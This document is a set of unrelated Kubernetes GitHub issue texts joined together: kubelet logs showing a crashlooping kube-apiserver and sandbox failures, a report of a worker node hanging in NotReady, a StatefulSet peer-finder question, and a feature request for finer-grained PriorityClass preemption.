subpath:}  livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/healthz,port:6443,host:127.0.0.1,scheme:https,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:8,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepo\r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : licy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : i1123 17:59:29.268180    8266 kuberuntime_manager.go:741  checking backoff for container \ kube-apiserver\  in pod \ kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \ \r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : i1123 17:59:29.268537    8266 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : e1123 17:59:29.268913    8266 pod_workers.go:182  error syncing pod 757e5c05c19263e8368481d88de4ab2f  \ kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \  , skipping: failed to \ startcontainer\  for \ kube-apiserver\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-tzur-k8s-master_kube-system 757e5c05c19263e8368481d88de4ab2f \ \r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : e1123 17:59:29.711668    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : e1123 17:59:29.996364    8266 eviction_manager.go:238  eviction manager: unexpected err: failed getnode: node 'tzur-k8s-master' not found\r nov 23 17:59:29 tzur-k8s-master kubelet 8266 : e1123 17:59:29.999638    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:400: failed to list  v1.service: get https://9.151.163.60:6443/api/v1/services?resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:30 tzur-k8s-master kubelet 8266 : e1123 17:59:30.000146    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/kubelet.go:408: failed to list  v1.node: get https://9.151.163.60:6443/api/v1/nodes?fieldselector=metadata.name%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r nov 23 17:59:30 tzur-k8s-master kubelet 8266 : w1123 17:59:30.000554    8266 cni.go:189  unable to update cni config: no networks found in /etc/cni/net.d\r nov 23 17:59:30 tzur-k8s-master kubelet 8266 : e1123 17:59:30.000910    8266 kubelet.go:2136  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r nov 23 17:59:30 tzur-k8s-master kubelet 8266 : e1123 17:59:30.712940    8266 reflector.go:190  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46: failed to list  v1.pod: get https://9.151.163.60:6443/api/v1/pods?fieldselector=spec.nodename%3dtzur-k8s-master&resourceversion=0: dial tcp 9.151.163.60:6443: getsockopt: connection refused\r

is this a bug report or feature request?  :\r  \r   what happened  :\r 01:02:50 3 jan, 2018, one of my workers entered notready status unexpectedly\r \r the kubelet log of the worker at that time:\r    \r $ systemctl status kubelet\r   kubelet.service - kubernetes kubelet\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: enabled \r    active: active  running  since mon 2018-01-01 18:36:42 cst; 1 day 17h ago\r      docs: https://github.com/kubernetes/kubernetes\r   process: 29130 execstartpre=/usr/bin/mkdir -p /opt/cni/bin  code=exited, status=0/success \r   process: 29117 execstartpre=/usr/bin/mkdir -p /etc/cni/net.d  code=exited, status=0/success \r  main pid: 29137  kubelet \r     tasks: 72\r    memory: 253.5m\r       cpu: 5h 41min 45.736s\r    cgroup: /system.slice/kubelet.service\r            |-29137 /kubelet --address=0.0.0.0 --allow-privileged=true --cluster-dns=192.168.192.10 --cluster-domain=cluster.local --cloud-provider= --port=10250 --lock-file=/var/run/lock/kubelet.lock --exit-on-lock-contention --node-labels=worker=true --pod-manifest-path=/etc/kubernetes/manifests --kubeconfig=/etc/kubernetes/kubeconfig.yaml --require-kubeconfig=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --logtostderr=true\r             -29355 journalctl -k -f\r \r jan 03 01:00:30 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:00:30.988485   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:00:41 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:00:41.094537   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:00:51 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:00:51.193735   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:01 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:01.314097   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:11 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:11.406249   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:21 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:21.510539   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:31 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:31.607629   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:41 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:41.707686   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:01:51 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:01:51.806283   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r jan 03 01:02:01 ae01.pek.prod.com kubelet-wrapper 29137 : w0102 09:02:01.905585   29137 helpers.go:793  eviction manager: no observation found for eviction signal allocatablenodefs.available\r    \r \r then, kubelet logs stoped here until i found it entering notready status several hours later.\r  \r the kube-controller-manager logs at that time:\r    \r i0103 01:02:50.475290       1 controller_utils.go:285  recording status change nodenotready event message for node ae01.pek.prod.com\r i0103 01:02:50.475329       1 controller_utils.go:203  update ready status of pods on node  ae01.pek.prod.com \r i0103 01:02:50.475405       1 event.go:218  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ ae01.pek.prod.com\ , uid:\ f739dd60-49d7-11e7-b36b-1866dae7138c\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node ae01.pek.prod.com status is now: nodenotready\r i0103 01:02:50.582487       1 controller_utils.go:220  updating ready status of pod ceph-admin to false\r i0103 01:02:50.784024       1 controller_utils.go:220  updating ready status of pod ceph-mon-xtc5j to false\r i0103 01:02:50.993792       1 controller_utils.go:220  updating ready status of pod ceph-osdaa-fgpt6 to false\r i0103 01:02:51.152119       1 controller_utils.go:220  updating ready status of pod ceph-osdab-6bw67 to false\r i0103 01:02:51.319113       1 controller_utils.go:220  updating ready status of pod ceph-osdac-0h3nj to false\r i0103 01:02:51.502803       1 controller_utils.go:220  updating ready status of pod ceph-osdad-p5cl7 to false\r i0103 01:02:59.024278       1 controller_utils.go:220  updating ready status of pod kube-proxy-ae01.pek.prod.com to false\r i0103 01:02:59.299461       1 controller_utils.go:220  updating ready status of pod node-exporter-9tww1 to false\r w0103 01:05:01.654148       1 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.thirdpartyresource ended with: 401: the event in requested index is outdated and cleared  the requested history has been cleared  711850627/711848663    711851626 \r i0103 01:07:14.592488       1 nodecontroller.go:644  node is unresponsive. adding pods on node ae01.pek.prod.com to eviction queues: 2018-01-03 01:07:14.592477202 +0800 cst is later than 2018-01-03 01:02:50.475279459 +0800 cst + 4m20s\r i0103 01:07:14.759150       1 controller_utils.go:274  recording deleting all pods from node ae01.pek.prod.com. event message for node ae01.pek.prod.com\r i0103 01:07:14.759246       1 event.go:218  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ ae01.pek.prod.com\ , uid:\ f739dd60-49d7-11e7-b36b-1866dae7138c\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deletingallpods' node ae01.pek.prod.com event: deleting all pods from node ae01.pek.prod.com.\r i0103 01:07:15.047285       1 controller_utils.go:89  starting deletion of pod ceph-sas/ceph-admin\r i0103 01:07:15.047426       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ ceph-sas\ , name:\ ceph-admin\ , uid:\ 273810cc-c558-11e7-987d-1866dae7138c\ , apiversion:\ v1\ , resourceversion:\ 711850606\ , fieldpath:\ \ } : type: 'normal' reason: 'nodecontrollereviction' marking for deletion pod ceph-admin from node ae01.pek.prod.com\r i0103 01:07:23.419960       1 controller_utils.go:89  starting deletion of pod default/kube-proxy-ae01.pek.prod.com\r i0103 01:07:23.420062       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ kube-proxy-ae01.pek.prod.com\ , uid:\ e302d011-d4da-11e7-a89d-1866dae7138c\ , apiversion:\ v1\ , resourceversion:\ 711850741\ , fieldpath:\ \ } : type: 'normal' reason: 'nodecontrollereviction' marking for deletion pod kube-proxy-ae01.pek.prod.com from node ae01.pek.prod.ucarinc.com\r i0103 01:07:24.104385       1 nodecontroller.go:431  pods awaiting deletion due to nodecontroller eviction\r    \r \r while at that time, access 10250 and 10255 port got no response:\r    \r   wget https://localhost:10250/metrics --no-check-certificate\r --2018-01-03 10:53:36--  https://localhost:10250/metrics\r resolving localhost... 127.0.0.1\r connecting to localhost|127.0.0.1|:10250... connected.\r unable to establish ssl connection.\r \r   wget http://localhost:10255/healthz\r --2018-01-03 15:10:09--  http://localhost:10255/healthz\r resolving localhost... 127.0.0.1\r connecting to localhost|127.0.0.1|:10255... connected.\r http request sent, awaiting response... ^c\r    \r \r and strace the kubelet process, it just hung there:\r    \r   strace -p 29137 \r process 29137 attached\r futex 0x92873b0, futex_wait, 0, null^cprocess 29137 detached\r  <detached ...>\r    \r \r   what you expected to happen  :\r kubelet doesn't hang at no reason\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r i have another node entered notready status too, all phenomenon is almost the same, except the kubelet log:\r    \r $ systemctl status kubelet\r   kubelet.service - kubernetes kubelet\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: enabled \r    active: active  running  since wed 2017-11-29 16:04:21 cst; 1 months 4 days ago\r      docs: https://github.com/kubernetes/kubernetes\r  main pid: 22966  kubelet \r     tasks: 75\r    memory: 364.2m\r       cpu: 1w 3h 13min 2.144s\r    cgroup: /system.slice/kubelet.service\r            |-22966 /kubelet --address=0.0.0.0 --allow-privileged=true --cluster-dns=192.168.192.10 --cluster-domain=cluster.local --\r cloud-provider= --port=10250 --lock-file=/var/run/lock/kubelet.lock --exit-on-lock-contention --node-labels=worker=true --pod-manife\r st-path=/etc/kubernetes/manifests --kubeconfig=/etc/kubernetes/kubeconfig.yaml --require-kubeconfig=true --network-plugin=cni --cni-\r conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --logtostderr=true\r             -23109 journalctl -k -f\r \r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r jan 02 10:31:41 ae02.pek.prod.com kubelet-wrapper 22966 : fatal error: runtimeâ·unlock: lock count\r    \r \r and the output of strace:\r    \r   strace -p 22966\r process 22966 attached\r read 25, ^cprocess 22966 detached\r  <detached ...>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.10+coreos.0\ , gitcommit:\ db06c5223888db5169a6126fb82f323fce1f1eeb\ , gittreestate:\ clean\ , builddate:\ 2017-11-07t14:06:30z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r baremetal\r \r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1298.5.0\r version_id=1298.5.0\r build_id=2017-02-28-0013\r pretty_name=\ container linux by coreos 1298.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r \r - kernel  e.g.  uname -a  :\r linux ae01.pek.prod.com 4.9.9-coreos-r1  1 smp tue feb 28 00:06:10 utc 2017 x86_64 intel r  xeon r  cpu e5-2630 v4 @ 2.20ghz genuineintel gnu/linux\r \r - others:\r i'm running kubelet with rkt .

https://github.com/kubernetes/kubernetes/blob/96ec3187180b9c1d722756b3ea0984ebe65424dc/test/images/pets/peer-finder/peer-finder.go l53\r https://github.com/kubernetes/kubernetes/blob/96ec3187180b9c1d722756b3ea0984ebe65424dc/test/images/pets/peer-finder/peer-finder.go l116\r \r when pod start, use  peer-finder  find other pod. first pod  statefulset xxx-1  start and not ready , peer-finder  will loop execution has no result.  should that be wrong?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r let's assume we have two teams managing production services and batch-jobs respectively. this case is artificial, but it can still demonstrate the problem well. \r \r     we want to ensure the production team can:\r preempt the batch jobs when there is no enough resources\r \r to achieve this, we can define two  as below\r \r    yaml\r apiversion: scheduling.k8s.io/v1alpha1\r kind: priorityclass\r metadata:\r   name: production\r value: 1000000\r globaldefault: true\r description: \ this  should be used for production service pods only.\ \r    \r \r    yaml\r apiversion: scheduling.k8s.io/v1alpha1\r kind: priorityclass\r metadata:\r   name: batch-job\r value: 10\r globaldefault: false\r description: \ this  should be used for batch-job pods only.\ \r    \r \r     we also want to ensure the batch job team can:\r define the order of eviction of the batch jobs they launch when there is no enough resources for production services\r avoid preemption within the batch jobs. in another word, no batch job can evict any other batch job. the reason of 2 is to avoid cascading eviction.\r \r   however, there is no way to achieve both of them with today's kubernetes functionality.  \r \r to achieve 1 , we have to define more  with the right value ordering for the batch jobs. however, once we define different  for the batch jobs, the higher  might preempt the lower ones, which violates 2 .\r \r to solve this problem, we need to have a finer grained preemption control for pods within the same  \r /cc @kubernetes/sig-scheduling-feature-requests @resouer @bsalamat @k82cn \r

<pre>ul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.246887   15871 docker_service.go:271  setting cgroupdriver to cgroupfs\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.320817   15871 kuberuntime_manager.go:186  container runtime docker initialized, version: 17.12.1-ce, apiversion: 1.35.0\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.330988   15871 csi_plugin.go:111  kubernetes.io/csi: plugin initializing...\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.341885   15871 server.go:129  starting to listen on 0.0.0.0:10250\r jul 30 11:57:33 slaver2 kubelet 15871 : e0730 11:57:33.345978   15871 kubelet.go:1261  image garbage collection failed once. stats initialization may not have completed yet: failed to get imagefs info: unable to find data for container /\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.346950   15871 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.347351   15871 status_manager.go:152  starting to sync pod status with apiserver\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.347760   15871 kubelet.go:1758  starting kubelet main sync loop.\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.348112   15871 kubelet.go:1775  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.348608   15871 server.go:302  adding debug handlers to kubelet server.\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.357562   15871 server.go:986  started kubelet\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.358204   15871 volume_manager.go:247  starting kubelet volume manager\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.369264   15871 desired_state_of_world_populator.go:130  desired state populator starts to run\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.454301   15871 kubelet.go:1775  skipping pod synchronization -  container runtime is down \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.468371   15871 kubelet_node_status.go:269  setting node annotation to enable volume controller attach/detach\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.471449   15871 kubelet_node_status.go:79  attempting to register node slaver2\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.587313   15871 kubelet_node_status.go:123  node slaver2 was previously registered\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.587868   15871 kubelet_node_status.go:82  successfully registered node slaver2\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.589848   15871 kuberuntime_manager.go:917  updating runtime config through cri with podcidr 10.244.1.0/24\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.590455   15871 docker_service.go:352  docker cri received runtime config &amp;runtimeconfig{networkconfig:&amp;networkconfig{podcidr:10.244.1.0/24,},}\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.591018   15871 kubelet_network.go:73  setting pod cidr:  -&gt; 10.244.1.0/24\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.593127   15871 kubelet_node_status.go:870  node became not ready: {type:ready status:false lastheartbeattime:2018-07-30 11:57:33.593112827 +0800 cst m=+1.421990242 lasttransitiontime:2018-07-30 11:57:33.593112827 +0800 cst m=+1.421990242 reason:kubeletnotready message:container runtime is down}\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.627992   15871 cpu_manager.go:155   cpumanager  starting with none policy\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.628522   15871 cpu_manager.go:156   cpumanager  reconciling every 10s\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.628862   15871 policy_none.go:42   cpumanager  none policy: start\r jul 30 11:57:33 slaver2 kubelet 15871 : starting device plugin manager\r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.787295   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;run&quot;  uniquename: &quot;kubernetes.io/host-path/ac69edce-93a9-11e8-b74d-38d547b35fe9-run&quot;  pod &quot;kube-flannel-ds-5k9vn&quot;  uid: &quot;ac69edce-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.888534   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;xtables-lock&quot;  uniquename: &quot;kubernetes.io/host-path/5fc0f80b-93a9-11e8-b74d-38d547b35fe9-xtables-lock&quot;  pod &quot;kube-proxy-cw948&quot;  uid: &quot;5fc0f80b-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.888714   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;lib-modules&quot;  uniquename: &quot;kubernetes.io/host-path/5fc0f80b-93a9-11e8-b74d-38d547b35fe9-lib-modules&quot;  pod &quot;kube-proxy-cw948&quot;  uid: &quot;5fc0f80b-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.888794   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;kube-proxy-token-j5vp2&quot;  uniquename: &quot;kubernetes.io/secret/5fc0f80b-93a9-11e8-b74d-38d547b35fe9-kube-proxy-token-j5vp2&quot;  pod &quot;kube-proxy-cw948&quot;  uid: &quot;5fc0f80b-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.903583   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;cni&quot;  uniquename: &quot;kubernetes.io/host-path/ac69edce-93a9-11e8-b74d-38d547b35fe9-cni&quot;  pod &quot;kube-flannel-ds-5k9vn&quot;  uid: &quot;ac69edce-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.903967   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;flannel-cfg&quot;  uniquename: &quot;kubernetes.io/configmap/ac69edce-93a9-11e8-b74d-38d547b35fe9-flannel-cfg&quot;  pod &quot;kube-flannel-ds-5k9vn&quot;  uid: &quot;ac69edce-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.904039   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;flannel-token-zcf5t&quot;  uniquename: &quot;kubernetes.io/secret/ac69edce-93a9-11e8-b74d-38d547b35fe9-flannel-token-zcf5t&quot;  pod &quot;kube-flannel-ds-5k9vn&quot;  uid: &quot;ac69edce-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:33 slaver2 kubelet 15871 : i0730 11:57:33.904096   15871 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume &quot;kube-proxy&quot;  uniquename: &quot;kubernetes.io/configmap/5fc0f80b-93a9-11e8-b74d-38d547b35fe9-kube-proxy&quot;  pod &quot;kube-proxy-cw948&quot;  uid: &quot;5fc0f80b-93a9-11e8-b74d-38d547b35fe9&quot; \r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.305463   15871 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.305630   15871 kuberuntime_sandbox.go:56  createpodsandbox for pod &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.305667   15871 kuberuntime_manager.go:646  createpodsandbox for pod &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.305895   15871 pod_workers.go:186  error syncing pod ac69edce-93a9-11e8-b74d-38d547b35fe9  &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; , skipping: failed to &quot;createpodsandbox&quot; for &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; with createpodsandboxerror: &quot;createpodsandbox for pod \\&quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 \\&quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod \\&quot;kube-flannel-ds-5k9vn\\&quot;: error response from daemon: no command specified&quot;\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.321691   15871 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.322957   15871 kuberuntime_sandbox.go:56  createpodsandbox for pod &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.323939   15871 kuberuntime_manager.go:646  createpodsandbox for pod &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:34 slaver2 kubelet 15871 : e0730 11:57:34.324856   15871 pod_workers.go:186  error syncing pod 5fc0f80b-93a9-11e8-b74d-38d547b35fe9  &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; , skipping: failed to &quot;createpodsandbox&quot; for &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; with createpodsandboxerror: &quot;createpodsandbox for pod \\&quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 \\&quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod \\&quot;kube-proxy-cw948\\&quot;: error response from daemon: no command specified&quot;\r jul 30 11:57:45 slaver2 kubelet 15871 : e0730 11:57:45.661897   15871 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:45 slaver2 kubelet 15871 : e0730 11:57:45.664235   15871 kuberuntime_sandbox.go:56  createpodsandbox for pod &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:45 slaver2 kubelet 15871 : e0730 11:57:45.665719   15871 kuberuntime_manager.go:646  createpodsandbox for pod &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-proxy-cw948&quot;: error response from daemon: no command specified\r jul 30 11:57:45 slaver2 kubelet 15871 : e0730 11:57:45.667576   15871 pod_workers.go:186  error syncing pod 5fc0f80b-93a9-11e8-b74d-38d547b35fe9  &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; , skipping: failed to &quot;createpodsandbox&quot; for &quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 &quot; with createpodsandboxerror: &quot;createpodsandbox for pod \\&quot;kube-proxy-cw948_kube-system 5fc0f80b-93a9-11e8-b74d-38d547b35fe9 \\&quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod \\&quot;kube-proxy-cw948\\&quot;: error response from daemon: no command specified&quot;\r jul 30 11:57:49 slaver2 kubelet 15871 : e0730 11:57:49.660871   15871 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:49 slaver2 kubelet 15871 : e0730 11:57:49.660961   15871 kuberuntime_sandbox.go:56  createpodsandbox for pod &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:49 slaver2 kubelet 15871 : e0730 11:57:49.660994   15871 kuberuntime_manager.go:646  createpodsandbox for pod &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; failed: rpc error: code = unknown desc = failed to create a sandbox for pod &quot;kube-flannel-ds-5k9vn&quot;: error response from daemon: no command specified\r jul 30 11:57:49 slaver2 kubelet 15871 : e0730 11:57:49.663008   15871 pod_workers.go:186  error syncing pod ac69edce-93a9-11e8-b74d-38d547b35fe9  &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; , skipping: failed to &quot;createpodsandbox&quot; for &quot;kube-flannel-ds-5k9vn_kube-system ac69edce-93a9-11e8-b74d-38d547b35fe9 &quot; with createpodsandboxerror: &quot;createpodsandbox for pod 